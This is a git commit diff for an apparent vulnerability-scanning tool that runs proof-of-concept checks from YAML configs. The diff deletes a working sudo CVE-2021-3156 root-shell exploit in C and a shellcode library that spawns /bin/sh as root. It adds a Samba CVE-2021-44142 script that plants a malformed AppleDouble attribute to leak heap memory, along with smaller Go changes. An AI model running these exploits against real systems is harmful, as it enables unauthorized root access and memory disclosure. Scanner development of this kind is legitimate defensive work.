update fastscan

This commit is contained in:
song 2023-03-06 14:19:03 +08:00
parent a170230c41
commit 09b830d78e
25 changed files with 905 additions and 282 deletions

View File

@ -1,6 +1,6 @@
ConfigFilePrefix: ../data/KernelPocs/
Type: kernel
ExplorerItems:
# - ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
# - ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
- ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml

View File

@ -1,108 +0,0 @@
#include <unistd.h> // execve()
#include <string.h> // strcat()
#include <stdio.h>
/* Exploit for CVE-2021-3156, drops a root shell.
* All credit for original research: Qualys Research Team.
* https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
*
* Tested on Ubuntu 20.04 against sudo 1.8.31
* Author: Max Kamper
*/
int main(int argc, char * argv[]) {
if(argc < 2){
printf("Usage: %s <Command> \n",argv[0]);
printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
printf("[+]Modify by Rvn0xsy@ https://payloads.online\n");
return 0;
}
char * input_command = argv[1];
int nSize = strlen(input_command)+6;
char * command = malloc(nSize);
memset(command,0x00,nSize);
sprintf(command,"test\n\n%s\n",input_command);
// 'buf' size determines size of overflowing chunk.
// This will allocate an 0xf0-sized chunk before the target service_user struct.
int i;
char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\\");
char* sudoedit_argv[] = {
"sudoedit",
"-S",
"-s",
buf,
NULL};
// Use some LC_ vars for heap Feng-Shui.
// This should allocate the target service_user struct in the path of the overflow.
char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
memset(telephone + strlen(telephone), 'A', 0x28);
char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
memset(measurement + strlen(measurement), 'A', 0x28);
// This environment variable will be copied onto the heap after the overflowing chunk.
// Use it to bridge the gap between the overflow and the target service_user struct.
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\\");
// Overwrite the 'files' service_user struct's name with the path of our shellcode library.
// The backslashes write nulls which are needed to dodge a couple of crashes.
char* envp[] = {
overflow,
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"XXXXXXX\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"x/x\\",
"Z",
messages,
telephone,
measurement,
NULL};
// Invoke sudoedit with our argv & envp.
int des_p[2];
if(pipe(des_p) == -1){
puts("Error .. pipe \n");
return -1;
}
if(fork() == 0) //first fork
{
close(STDOUT_FILENO); //closing stdout
dup(des_p[1]); //replacing stdout with pipe write
close(des_p[0]); //closing pipe read
write(des_p[1],command, strlen(command));
close(des_p[1]);
exit(1);
}
if(fork()==0){
close(STDIN_FILENO); //closing stdin
dup(des_p[0]); //replacing stdin with pipe read
close(des_p[1]); //closing pipe write
close(des_p[0]);
execve("/usr/bin/sudoedit", sudoedit_argv, envp);
perror("execvp of stdread failed");
exit(1);
}
close(des_p[0]);
close(des_p[1]);
wait(0);
wait(0);
}

View File

@ -1,42 +0,0 @@
FormatVer: 20220411
Id: CVE-2021-3156
Belong: system
PocHazardLevel: low
Source: https://github.com/veritas501/CVE-2021-22555-PipeVersion
SiteInfo:
Name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序
Severity: high
Description:
Sudo before 1.9.5p2 存在缓冲区错误漏洞攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root
ScopeOfInfluence:
小于1.9.5p2
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-3156
- http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
SiteClassification:
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CvssScore: 7.8
CveId: CVE-2021-3156
CweId: CWE-193
CnvdId: None
KveId: None
Tags:
- cve2021
- 权限提升
- 堆缓冲区溢出漏洞
SiteRequests:
Implement:
RawTypes:
- implementOne
ImArray:
- inter:
Exec : CVE-2021-3156_x86_64
Args :
Condition: None
ReqCondition: true
Matchers:
Types:
- dsl
MatcherMap:
dsl: check os
Condition: None

View File

@ -1,34 +0,0 @@
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;"
);
}

View File

@ -0,0 +1,226 @@
import argparse
import json
import logging
import struct
import sys
import uuid
import smbprotocol
from smbprotocol.create_contexts import SMB2CreateContextRequest, CreateContextName, SMB2CreateQueryMaximalAccessRequest
from smbprotocol.exceptions import ObjectNameNotFound
from smbprotocol.file_info import FileAttributes
from smbprotocol.open import ImpersonationLevel, FilePipePrinterAccessMask, ShareAccess, CreateDisposition, \
CreateOptions
from smbprotocol.open import Open
from smbprotocol.session import Session
from smbprotocol.tree import TreeConnect
from apple import make_malicious_apple_double
from smbprotocol_extensions import set_extended_attributes, delete_file, OSXConnection
class VulnerabilityInfo:
"""
Information about a server's vulnerability to CVE-2021-44142
"""
def __init__(self):
self.vulnerable: bool = False
self.heap_cookie_leak: str = ""
self.heap_pointer_leak: str = ""
self.fail_reason: str = ""
def to_json(self):
return json.dumps(self, default=lambda x: x.__dict__)
class AuthenticationError(Exception):
"""
Raised when pysmb fails to authenticate with the server.
"""
pass
def looks_like_heap_pointer(pointer: int) -> bool:
"""
Returns true if pointer could plausibly be a heap chunk
:param pointer: Address to interrogate
:return: True if the pointer could be a heap chunk, False otherwise
"""
# Make sure it is in userspace
if pointer > 0x00007fffffffffff:
return False
# Make sure it's not in the NULL page
if pointer < 0x1000:
return False
# Make the address is 16 byte aligned
if pointer % 16 != 0:
return False
# todo more checks
return True
def is_vulnerable(tree: TreeConnect) -> (bool, int, int):
"""
Checks if an SMB share is vulnerable to CVE-2021-44142
:param tree: A tree connection for the share in question
:return: True if the share is vulnerable, false otherwise
"""
# NOTE: If filename has length 255, you can't delete it
filename = "A" * 250
# get maximal access on the files we create
max_req = SMB2CreateContextRequest()
max_req["buffer_name"] = CreateContextName.SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST
max_req["buffer_data"] = SMB2CreateQueryMaximalAccessRequest()
create_contexts = [max_req]
# Create our test file
test_file = Open(tree, filename)
test_file.create(
ImpersonationLevel.Impersonation,
FilePipePrinterAccessMask.GENERIC_READ |
FilePipePrinterAccessMask.GENERIC_WRITE |
FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES |
FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES |
FilePipePrinterAccessMask.DELETE,
FileAttributes.FILE_ATTRIBUTE_NORMAL,
ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE | ShareAccess.FILE_SHARE_DELETE,
CreateDisposition.FILE_OVERWRITE_IF,
CreateOptions.FILE_NON_DIRECTORY_FILE,
create_contexts
)
# Create a malicious AppleDouble and set the extended attribute
ad = make_malicious_apple_double()
set_extended_attributes(test_file, b"org.netatalk.Metadata", ad)
# Open the extended attribute
afp_file = Open(tree, f"{filename}:AFP_AfpInfo")
try:
afp_file.create(
ImpersonationLevel.Impersonation,
FilePipePrinterAccessMask.GENERIC_READ |
FilePipePrinterAccessMask.GENERIC_WRITE |
FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES |
FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES,
FileAttributes.FILE_ATTRIBUTE_NORMAL,
ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE,
CreateDisposition.FILE_OVERWRITE_IF,
CreateOptions.FILE_NON_DIRECTORY_FILE,
create_contexts
)
except ObjectNameNotFound:
logging.exception(f"failed to create Open {filename}:AFP_AfpInfo")
return False, 0, 0
# OOB read
resp = afp_file.read(0, 0x3c)
# delete and close files
delete_file(test_file)
test_file.close()
afp_file.close()
# Parse read response
leak = resp[0x10 + 1:]
heap_cookie = struct.unpack("<I", leak[14:14 + 4])[0]
next_pointer = struct.unpack("<Q", leak[14 + 8: 14 + 8 + 8])[0]
byte_of_prev = leak[14 + 8 + 8: 14 + 8 + 8 + 1]
# print(f"heap_cookie {heap_cookie}, next_pointer: 0x{next_pointer:x}, prev_bytes: 0x{byte_of_prev[0]:x}")
# Check the heap cookie
if heap_cookie == 0:
return False, 0, 0
# Check the talloc_next pointer
if not looks_like_heap_pointer(next_pointer):
return False, 0, 0
return True, heap_cookie, next_pointer
def setup_logging():
"""
setup_logging initializes the logger
"""
root = logging.getLogger()
root.setLevel(logging.DEBUG)
handler = logging.StreamHandler(sys.stdout)
handler.setLevel(logging.INFO)
formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")
handler.setFormatter(formatter)
root.addHandler(handler)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Test if a Samba server if vulnerable to CVE-2021-44142")
parser.add_argument("server", type=str, help="Samba server")
parser.add_argument("port", type=int, help="Samba port")
parser.add_argument("share", type=str, help="Samba share name")
parser.add_argument("user", type=str, help="user name")
parser.add_argument("--password", type=str, help="password", default="guest")
return parser.parse_args()
def main():
args = parse_args()
#setup_logging()
# Defaults to not vulnerable
vulnerability_info: VulnerabilityInfo = VulnerabilityInfo()
# Attempt to connect to server
logging.info(f"Attempting to connect to {args.server}:{args.port}")
connection = OSXConnection(uuid.uuid4(), args.server, port=args.port,
require_signing=False if args.user == "Guest" else True)
try:
connection.connect()
logging.info("Connection successful")
# Attempt to authenticate with the server
logging.info(f"Attempting to authenticate as {args.user}")
session = Session(connection, username=args.user, password=args.password, require_encryption=False)
try:
session.connect()
# Connect to the share
logging.info(f"Attempting to connect to share {args.share}")
tree = TreeConnect(session, f"\\\\{args.server}\\{args.share}")
try:
tree.connect(require_secure_negotiate=False)
logging.info(f"Checking for vulnerability")
vulnerable, heap_cookie, heap_pointer = is_vulnerable(tree)
if vulnerable:
logging.info(f"{args.share} is vulnerable")
vulnerability_info.vulnerable = True
vulnerability_info.heap_cookie_leak = hex(heap_cookie)
vulnerability_info.heap_pointer_leak = hex(heap_pointer)
else:
vulnerability_info.fail_reason = f"TARGET_NOT_VULNERABLE"
logging.info(vulnerability_info.fail_reason)
except smbprotocol.exceptions.AccessDenied:
vulnerability_info.fail_reason = "SHARE_ACCESS_DENIED"
finally:
tree.disconnect()
except smbprotocol.exceptions.LogonFailure:
vulnerability_info.fail_reason = f"AUTHENTICATION_FAILURE"
except smbprotocol.exceptions.SMBException:
vulnerability_info.fail_reason = f"INCORRECT_PASSWORD"
except OSError:
vulnerability_info.fail_reason = "NO_SERVER_CONNECTION"
# print(vulnerability_info.to_json())
result=vulnerability_info.to_json()
result=str(result)
# print(result.find('ture'))
if result.find('ture')!=-1:
print("successful")
else:
print("false")
if __name__ == "__main__":
main()

View File

@ -0,0 +1,52 @@
FormatVer: 20230222
Id: CVE-2021-44142
Belong: system
PocHazardLevel: low
Source: https://github.com/horizon3ai/CVE-2021-44142
SiteInfo:
Name: Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件由服务器及客户端程序构成。SMB(Server Messages Block信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
Severity: high
Description:
Samba官方发布安全公告4.13.17之前的所有Samba 版本中存在一个代码执行漏洞CVE-2021-44142该漏洞存在于Samba中vfs_fruit模块的默认配置中在smbd解析EA元数据时对文件扩展属性具有写访问权限的远程攻击者可以是guest或未认证用户可越界写入并以root身份执行任意代码。
ScopeOfInfluence:
4.13.x < Samba < 4.13.17
4.14.x < Samba < 4.14.12
4.15.x < Samba < 4.15.5
References:
- https://www.samba.org/samba/security/CVE-2021-44142.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44142
SiteClassification:
CvssMetrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A
CvssScore: 8.8
CveId: CVE-2021-44142
CweId: CWE-125,CWE-787
CnvdId: None
KveId: None
Tags:
- RCE
- Samba
SiteRequests:
Implement:
ImArray:
- Inter : python3
Exec : CVE-2021-44142.py
Args :
- "127.0.0.1"
- "445"
- TimeMachineBackup
- root
ExpireTime: #second
# < input
# > output
# . wait
# ? condition
# : content
#
#组合起来
# >. 等待直到输出
# << 输入字符
# >?判断条件
Inter:
- '>?:successful' #ture
Condition: None

View File

@ -0,0 +1,173 @@
"""
This file contains structure definitions for AppleDouble structures.
For more information see
https://web.archive.org/web/20180311140826/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf
"""
from ctypes import *
AFP_OFF_FinderInfo = 16
AFP_INFO_SIZE = 0x3c
class AfpInfo(Structure):
"""
Structure definition for AfpInfo
"""
AFP_FinderSize = 32
# typedef struct _AfpInfo
# {
# uint32_t afpi_Signature; /* Must be *(PDWORD)"AFP" */
# uint32_t afpi_Version; /* Must be 0x00010000 */
# uint32_t afpi_Reserved1;
# uint32_t afpi_BackupTime; /* Backup time for the file/dir */
# unsigned char afpi_FinderInfo[AFP_FinderSize]; /* Finder Info (32 bytes) */
# unsigned char afpi_ProDosInfo[6]; /* ProDos Info (6 bytes) # */
# unsigned char afpi_Reserved2[6];
# } AfpInfo;
_fields_ = [
("afpi_Signature", c_uint8 * 4),
("afpi_Version", c_uint32),
("afpi_Reserved1", c_uint32),
("afpi_BackupTime", c_uint32),
("afpi_FinderInfo", c_uint8 * AFP_FinderSize),
("afpi_ProDosInfo", c_uint8 * 6),
("afpi_Reserved2", c_uint8 * 6)
]
def __init__(self, finder_bytes: bytes = "A" * AFP_FinderSize):
assert len(finder_bytes) == self.AFP_FinderSize
self.afpi_Signature[0] = ord("A")
self.afpi_Signature[1] = ord("F")
self.afpi_Signature[2] = ord("P")
self.afpi_Signature[3] = 0x0
self.afpi_Version = 0x00010000
for i in range(self.AFP_FinderSize):
self.afpi_FinderInfo[i] = finder_bytes[i]
super().__init__()
class AppleDoubleEntryDescriptor(BigEndianStructure):
"""
Structure definition for an AppleDoubleEntryDescriptor
"""
_pack_ = 1
_fields_ = [
# entry_id an unsigned 32-bit number, defined what that entry is, Entry IDs
# range from 1 to 0xFFFFFFFF, Entry ID 0 is invalid
("entry_id", c_uint32),
# offset, an unsigned 32-bit number, shows the offset from the beginning of
# the file to the beginning of the entry's data
("offset", c_uint32),
# length, an unsigned 32-bit number, shows the length of the data in bytes.
# The length can be 0
("length", c_uint32)
]
class AppleDoubleHeader(BigEndianStructure):
"""
Structure definition for an AppleDoubleHeader
"""
_pack_ = 1
_fields_ = [
("magic", c_uint32),
("version", c_uint32),
("filler", c_uint8 * 16),
("number_of_entries", c_uint16)
# Entry descriptors
]
def __init__(self):
self.magic = 0x00051607
self.version = 0x00020000
super().__init__()
def make_malicious_apple_double() -> bytes:
"""
Creates a malicious AppleDouble with bogus entry offsets to trigger an OOB read
:return:
"""
# AppleDouble entry IDs.
ADEID_DFORK = 1
ADEID_RFORK = 2
ADEID_NAME = 3
ADEID_COMMENT = 4
ADEID_ICONBW = 5
ADEID_ICONCOL = 6
ADEID_FILEI = 7
ADEID_FILEDATESI = 8
ADEID_FINDERI = 9
ADEID_MACFILEI = 10
ADEID_PRODOSFILEI = 11
ADEID_MSDOSFILEI = 12
ADEID_SHORTNAME = 13
ADEID_AFPFILEI = 14
ADEID_DID = 15
# Private Netatalk entries
# ADEID_PRIVDEV = 16
# ADEID_PRIVINO = 17
# ADEID_PRIVSYN = 18
# ADEID_PRIVID = 19
# ADEID_MAX = (ADEID_PRIVID + 1)
# These are the real ids for the private entries as stored in the adouble file
AD_DEV = 0x80444556
AD_INO = 0x80494E4F
AD_SYN = 0x8053594E
AD_ID = 0x8053567E
# Field widths
ADEDLEN_NAME = 255
ADEDLEN_COMMENT = 200
ADEDLEN_FILEI = 16
ADEDLEN_FINDERI = 32
ADEDLEN_FILEDATESI = 16
ADEDLEN_SHORTNAME = 12 # length up to 8.3
ADEDLEN_AFPFILEI = 4
ADEDLEN_MACFILEI = 4
ADEDLEN_PRODOSFILEI = 8
ADEDLEN_MSDOSFILEI = 2
ADEDLEN_DID = 4
ADEDLEN_PRIVDEV = 8
ADEDLEN_PRIVINO = 8
ADEDLEN_PRIVSYN = 8
ADEDLEN_PRIVID = 4
header = AppleDoubleHeader()
header.number_of_entries = 8
b = bytes(header)
# We must have 8 entries. If the size of the xattr does not 402, samba will delete it on read
# (ID, LEN, OFFSET)
entry_list = [
# vulnerable offset, point to end of buffer 401
(ADEID_FINDERI, 1, 401),
(ADEID_COMMENT, ADEDLEN_COMMENT, 1),
(ADEID_FILEDATESI, ADEDLEN_FILEDATESI, 1),
(ADEID_AFPFILEI, ADEDLEN_AFPFILEI, 1),
(AD_DEV, ADEDLEN_PRIVDEV, 1),
(AD_INO, ADEDLEN_PRIVINO, 1),
(AD_SYN, ADEDLEN_PRIVSYN, 1),
(AD_ID, ADEDLEN_PRIVID, 1)
]
assert len(entry_list) == 8
data = b""
for eid, length, offset in entry_list:
desc = AppleDoubleEntryDescriptor()
desc.entry_id = eid
desc.offset = offset
desc.length = length
b += bytes(desc)
if eid == ADEID_FINDERI:
# We fake this to get pass a check in ad_unpack
data += b"A" * ADEDLEN_FINDERI
else:
data += b"A" * length
b += data
assert len(b) == 402, f"len(b) == {len(b)}"
return b

View File

@ -0,0 +1,227 @@
"""
This file provides extensions the smbprotocol package
"""
import logging
import threading
from collections import OrderedDict
from typing import Dict
from smbprotocol import MAX_PAYLOAD_SIZE
from smbprotocol.connection import Connection, Request
from smbprotocol.file_info import FileFullEaInformation, QueryInfoFlags, FileBasicInformation, FileAttributes, \
FileDispositionInformation
from smbprotocol.header import SMB2HeaderResponse
from smbprotocol.open import SMB2QueryInfoRequest, Open, SMB2SetInfoRequest, SMB2SetInfoResponse, SMB2QueryInfoResponse
from smbprotocol.session import Session
from smbprotocol.structure import Structure, BytesField, IntField, FlagField
from smbprotocol.tree import TreeConnect
class SMBFlags(object):
"""
Flags for the SMB header
"""
SMB_FLAGS_LOCK_AND_READ_OK = 0x01
SMB_FLAGS_BUF_AVAIL = 0x02
RESERVED = 0x04
SMB_FLAGS_CASE_INSENSITIVE = 0x08
SMB_FLAGS_CANONICALIZED_PATHS = 0x10
SMB_FLAGS_OPLOCK = 0x20
SMB_FLAGS_OPBATCH = 0x40
SMB_FLAGS_REPLY = 0x80
class SMBFlags2(object):
"""
Flags2 for the SMB header
"""
SMB_FLAGS2_LONG_NAMES = 0x0001
SMB_FLAGS2_EAS = 0x0002
SMB_FLAGS2_SMB_SECURITY_SIGNATURE = 0x0004
SMB_FLAGS2_IS_LONG_NAME = 0x0040
SMB_FLAGS2_EXTENDED_SECURITY = 0x0800
SMB_FLAGS2_DFS = 0x1000
SMB_FLAGS2_PAGING_IO = 0x2000
SMB_FLAGS2_NT_STATUS = 0x4000
SMB_FLAGS2_UNICODE = 0x8000
class SMBHeader(Structure):
"""
Structure definition for SMBHeader
"""
def __init__(self):
self.fields = OrderedDict([
('protocol', BytesField(
size=4,
default=b"\xffSMB"
)),
('command', IntField(
size=1
)),
('status', IntField(size=4)),
('flags', FlagField(
size=1,
flag_type=SMBFlags,
)),
('flags2', FlagField(
size=2,
flag_type=SMBFlags2
)),
('pid_high', IntField(size=2, default=0)),
('signature', IntField(size=8, default=0)),
('reserved', IntField(size=2, default=0)),
('tree_id', IntField(size=2)),
('pid_low', IntField(size=2)),
('uid', IntField(size=2)),
('mid', IntField(size=2))
])
super(SMBHeader, self).__init__()
class SMBNegotiateRequest(Structure):
"""
Structure definition for SMBNegotiateRequest
"""
def __init__(self):
self.fields = OrderedDict([
('word_count', IntField(size=1)),
('byte_count', IntField(size=2)),
# ('dialects', BytesField(list_type=TextField()))
])
super(SMBNegotiateRequest, self).__init__()
class OSXConnection(Connection):
"""
WD My Could OS firmware has a custom patch that disables the vulnerable vfs modules unless
the connection appears to be from OSX. This means that the first message from the connection is
an SMB negotitate request with the following dialects set.
* NT LM 0.12
* SMB 2.002
* SMB 2.???
"""
def __init__(self, *args, **kwargs):
super(OSXConnection, self).__init__(*args, **kwargs)
self.disconnect_called = False
self.send_called = False
def disconnect(self, close=True):
"""
This is a hack, the message_thread raises an exception because it expects
an SMB2 message, but it receives an SMB message. So here we restart the
message thread if it's the first time disconnect is called.
"""
if self.disconnect_called:
super(OSXConnection, self).disconnect(close=close)
else:
# Receive the response
t_worker = threading.Thread(target=self._process_message_thread,
name="msg_worker-%s:%s" % (self.server_name, self.port))
t_worker.daemon = True
t_worker.start()
self._t_exc = None
self.disconnect_called = True
def _send_smb2_negotiate(self, dialect, timeout, encryption_algorithms, signing_algorithms):
"""
Override _send_smb2_negotiate to send an SMB Negotiate request to make Samba think the
request is coming from OSX
"""
header = SMBHeader()
header['command'] = 0x72
header['status'] = 0
header['flags'] = SMBFlags.SMB_FLAGS_CASE_INSENSITIVE
header['flags2'] = SMBFlags2.SMB_FLAGS2_UNICODE | \
SMBFlags2.SMB_FLAGS2_NT_STATUS | \
SMBFlags2.SMB_FLAGS2_EXTENDED_SECURITY | \
SMBFlags2.SMB_FLAGS2_LONG_NAMES
header['tree_id'] = 65535
header['pid_low'] = 1
header['uid'] = 65535
header['mid'] = 0
b_header = header.pack()
neg_req = SMBNegotiateRequest()
neg_req['word_count'] = 0
neg_req['byte_count'] = 34
b_neg_req = neg_req.pack()
# Add the dialects
b_neg_req += b"\x02" + 'NT LM 0.12'.encode('utf-8') + b"\x00"
b_neg_req += b"\x02" + 'SMB 2.002'.encode('utf-8') + b"\x00"
b_neg_req += b"\x02" + 'SMB 2.???'.encode('utf-8') + b"\x00"
self.transport.send(b_header + b_neg_req)
self.sequence_window['low'] = 1
self.sequence_window['high'] = 2
while not self.disconnect_called and self.transport.connected:
logging.info("[HACK] waiting for disconnect to occur")
if not self.transport.connected:
raise OSError("No connection to server")
return super()._send_smb2_negotiate(dialect, timeout, encryption_algorithms, signing_algorithms)
def set_extended_attributes(file_open: Open, attribute: bytes, value: bytes) -> SMB2SetInfoResponse:
"""
Set extended attributes for an Open
:param file_open: file to set extended attribute
:param attribute: name of attribute
:param value: attribute value
:return: response
"""
ea_info = FileFullEaInformation()
ea_info['ea_name'] = attribute
ea_info['ea_value'] = value
info_buffer = ea_info
set_req = SMB2SetInfoRequest()
set_req['info_type'] = info_buffer.INFO_TYPE
set_req['file_info_class'] = info_buffer.INFO_CLASS
set_req['file_id'] = file_open.file_id
set_req['buffer'] = info_buffer
tree: TreeConnect = file_open.tree_connect
session: Session = tree.session
connection: Connection = session.connection
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
response: SMB2HeaderResponse = connection.receive(request)
set_resp = SMB2SetInfoResponse()
set_resp.unpack(response['data'].get_value())
return set_resp
def delete_file(file_open: Open):
"""
Delete a file
:param file_open: File to delete
"""
basic_info = FileBasicInformation()
basic_info['creation_time'] = 0
basic_info['last_access_time'] = 0
basic_info['last_write_time'] = 0
basic_info['change_time'] = 0
basic_info['file_attributes'] = FileAttributes.FILE_ATTRIBUTE_NORMAL
set_req = SMB2SetInfoRequest()
set_req['info_type'] = basic_info.INFO_TYPE
set_req['file_info_class'] = basic_info.INFO_CLASS
set_req['file_id'] = file_open.file_id
set_req['buffer'] = basic_info
tree: TreeConnect = file_open.tree_connect
session: Session = tree.session
connection: Connection = session.connection
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
response: SMB2HeaderResponse = connection.receive(request)
set_resp = SMB2SetInfoResponse()
set_resp.unpack(response['data'].get_value())
info_buffer = FileDispositionInformation()
info_buffer['delete_pending'] = True
set_req = SMB2SetInfoRequest()
set_req['info_type'] = info_buffer.INFO_TYPE
set_req['file_info_class'] = info_buffer.INFO_CLASS
set_req['file_id'] = file_open.file_id
set_req['buffer'] = info_buffer
request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id)
response: SMB2HeaderResponse = connection.receive(request)
set_resp = SMB2SetInfoResponse()
set_resp.unpack(response['data'].get_value())

View File

@ -28,7 +28,7 @@ SiteInfo:
SiteRequests:
Implement:
ImArray:
- Inter :
- Inter : bash
Exec : CVE-2022-1292.sh
Args :
ExpireTime: #second

View File

@ -7,4 +7,4 @@ ExplorerItems:
- ConfigFile: KVE-2022-0207/KVE-2022-0207.yaml
- ConfigFile: KVE-2022-0205/KVE-2022-0205.yaml
- ConfigFile: CVE-2022-1292/CVE-2022-1292.yaml
- ConfigFile: CVE-2021-3156/CVE-2021-3156.yaml
- ConfigFile: CVE-2021-44142/CVE-2021-44142.yaml

0
data/dic/Nmap.txt Normal file
View File

View File

@ -10,6 +10,7 @@ import(
"log"
"main/genmai"
"main/tools/SSHExplosion"
"main/tools/FastScan"
)
var Num int
@ -259,4 +260,12 @@ func FofaApi(Fofa string,fofaCom string){
fmt.Println("Fofa模块结束...")
}
return
}
func SystemFastScan(scan string){
if scan =="true"{
FastScan.GetdpkgInfo()
fmt.Println("版本匹配检测结束...")
}
return
}

View File

@ -100,88 +100,3 @@ func
rc = RC_ERR_FILE_TYPE
return rc
}
///////////////////////////////
// member functions
////////////////////////////////////////////////////////////////
// z-trash
////func (ck *ConfigKernel)Map2Struct(maps map[string]interface{}) {
//func (ck *ConfigKernel)Map2Struct(maps map[string]string) {
// fmt.Println(">>\n")
// fmt.Println(maps)
// bVal := reflect.ValueOf(ck).Elem()
// vVal := reflect.ValueOf(&maps).Elem()
// vTypeOfT := vVal.Type()
//
// for i := 0; i < vVal.NumField(); i++ {
// name := vTypeOfT.Field(i).Name
// if ok := bVal.FieldByName(name).IsValid(); ok {
// bVal.FieldByName(name).Set(reflect.ValueOf(vVal.Field(i).Interface()))
// } // if ok := ...
// } // for i := 0 ...
//
// fmt.Printf("%#v", *ck)
//}
//
///*
//@func 将map转为Struct
//@param
// mmap 需要转换的map[string]interface
// structure 转换后的结构体指针
//@return
// error 错误信息
//
// 暂不支持递归转换
//*/
//func MapToStruct(mmap map[string]interface{},structure interface{}) (rc error){
// defer func() {
// if errs := recover(); errs!= nil {
// rc = errors.New("调用出错")
// }
// }()
// ptp := reflect.TypeOf(structure)
// pv := reflect.ValueOf(structure)
// switch ptp.Kind() {
// case reflect.Ptr:
// if ptp.Elem().Kind() == reflect.Struct {
// fmt.Println("sss")
// break
// }else{
// return errors.New("需要*struct类型却传入*"+ptp.Elem().Kind().String()+"类型")
// }
// default:
// return errors.New("需要*struct类型却传入"+ptp.Kind().String()+"类型")
// }
// tp := ptp.Elem()
// v := pv.Elem()
// num := tp.NumField()
// for i := 0 ; i < num ; i++ {
// name := tp.Field(i).Name
// tag := tp.Field(i).Tag.Get("map")
//
// //fmt.Println(reflect.TypeOf(tp.Field(i)).Kind())
// fmt.Printf("%v\n", tp.Field(i).Tag)
// fmt.Printf("%v\n", tp.Field(i).Type)
//
// if len(tag) != 0 {
// name = tag
// }
// value,ok := mmap[name]
// if !ok {
// continue
// }
// //能够设置值,且类型相同
// if v.Field(i).CanSet(){
// if v.Field(i).Type() == reflect.TypeOf(value){
// v.Field(i).Set(reflect.ValueOf(value))
// }else{
// continue
// }
// }else {
// continue
// }
// }
// return nil
//}

View File

@ -66,7 +66,6 @@ func
func
(ek *ExplorerBaseLine)EexcBaseline(execPoc string,
args ...string ) string {
fmt.Println(execPoc,args)
cmd := exec.Command(execPoc,args...)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 标准输出

View File

@ -167,7 +167,6 @@ func
func
(es *ExplorerSystem)Explore() (expvul VulnInfoCommon, rc error) {
config, rc_t := es.GetExplorerConfigSystem()
rc = rc_t
if (nil != rc) {
@ -179,7 +178,6 @@ func
///////////////
// starting explore
for _, im := range config.SiteRequests.ImArray {
rc = es.exploreWithPath(im.Inter,es.ExplorerCommon.EcConfigFilePrefix +

View File

@ -29,7 +29,7 @@
package Sandbox
import (
// "fmt"
"fmt"
"os/exec"
"bufio"
"errors"
@ -73,10 +73,13 @@ func
// cmd := exec.Command(execpoc,args...)
}else{
cname = interpreter
arry = append(args,execpoc)
arry = append(arry,execpoc)
arry = append(arry,args...)
fmt.Println(arry)
// cmd := exec.Command(interpreter,arry...)
}
cmd := exec.Command(cname,arry...)
fmt.Println(cmd)
///////////////////////////////
// build reader, writer
stdin, rc := cmd.StdinPipe()

View File

@ -3,6 +3,7 @@ module main
go 1.17
require (
github.com/go-sql-driver/mysql v1.7.0
github.com/google/uuid v1.3.0
github.com/jesseduffield/gocui v0.3.0
github.com/patrickmn/go-cache v2.1.0+incompatible

View File

@ -1,3 +1,5 @@
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
